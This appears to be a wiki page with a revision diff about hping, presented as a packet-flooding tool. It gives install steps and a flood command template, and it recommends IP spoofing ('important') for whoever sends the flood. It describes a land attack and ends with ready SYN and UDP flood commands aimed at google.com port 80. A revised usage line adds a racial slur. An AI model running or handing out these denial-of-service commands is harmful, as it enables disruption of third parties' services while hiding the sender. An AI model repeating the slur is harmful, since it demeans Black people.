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>Azure New page: A tool for custom-crafting packets. Can be used to flood almost any type of packet imaginable. = Installation = == Windows == If you're running Windows XP and it keeps crashing, set the... |
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Debian and Ubuntu users type | Debian and Ubuntu users type | ||
apt-get install hping3 | sudo apt-get install hping3 | ||
Mandriva users type as root | |||
urpmi hping | |||
= Usage = | = Usage = | ||
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* -q to suppress output - might make it a little faster | * -q to suppress output - might make it a little faster | ||
* -c [NUMBER] to limit to a certain number of packets | * -c [NUMBER] to limit to a certain number of packets | ||
* the -i u30000 tells it to send packets 30 milliseconds apart - this is about as fast as windows XP can take it; unix/mac systems might be able to go lower. | * the -i u30000 tells it to send packets 30 milliseconds apart - this is about as fast as windows XP can take it; unix/mac systems might be able to go lower. (-flood niggers) | ||
* -a [IP] to spoof your IP address: it goes without saying that this is important, although you obviously won't receive reply packets. A land attack uses the target IP address as the spoofed source IP address. | * -a [IP] to spoof your IP address: it goes without saying that this is important, although you obviously won't receive reply packets. A land attack uses the target IP address as the spoofed source IP address. | ||
* --rand-source gives each packet you send a randomly generated spoof IP address. | * --rand-source gives each packet you send a randomly generated spoof IP address. | ||
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== Tutorial == | == Tutorial == | ||
http://www.darkc0de.com/tutorials/hpingtut.txt | http://www.darkc0de.com/tutorials/hpingtut.txt [currently down] | ||
= External Links = | = External Links = | ||
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[http://anonym.to/http://hping.org/ '''Hping''' Homepage] | [http://anonym.to/http://hping.org/ '''Hping''' Homepage] | ||
[http://anonym.to/http://wiki.hping.org/ '''Hping''' Wiki] (Currently Down) | [http://anonym.to/http://wiki.hping.org/ '''Hping''' Wiki] (Currently Down) | ||
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Latest revision as of 02:29, 24 April 2013
A tool for custom-crafting packets. Can be used to flood almost any type of packet imaginable.
Installation[edit]
Windows[edit]
If you're running Windows XP and it keeps crashing, set the "compatibility mode" for Windows 98.
Hping2 for Win32 (Includes source code and executable)
Mac[edit]
Linux[edit]
Debian and Ubuntu users type
sudo apt-get install hping3
Mandriva users type as root
urpmi hping
Usage[edit]
Regardless of which Hping you get, the command to flood a target is as follows:
hping[2 or 3] [TARGET] -p [PORT] -i u30000 [PACKET TYPE] [OTHER OPTIONS]
[TARGET] can be a URL or IP address [PORT] is the target port [PACKET TYPE] can be
- -S for SYN
- -A for ACK
- -S -A for SYN/ACK
OTHER OPTIONS:
- --udp to send UDP packets
- -q to suppress output - might make it a little faster
- -c [NUMBER] to limit to a certain number of packets
- the -i u30000 tells it to send packets 30 milliseconds apart - this is about as fast as windows XP can take it; unix/mac systems might be able to go lower. (-flood niggers)
- -a [IP] to spoof your IP address: it goes without saying that this is important, although you obviously won't receive reply packets. A land attack uses the target IP address as the spoofed source IP address.
- --rand-source gives each packet you send a randomly generated spoof IP address.
Examples[edit]
SYN flood google.com's port 80
hping2 google.com -p 80 -i u30000 -S
UDP flood google.com:
hping3 google.com -p 80 -i u30000 --udp
Tutorial[edit]
http://www.darkc0de.com/tutorials/hpingtut.txt [currently down]
External Links[edit]
Hping Homepage Hping Wiki (Currently Down)
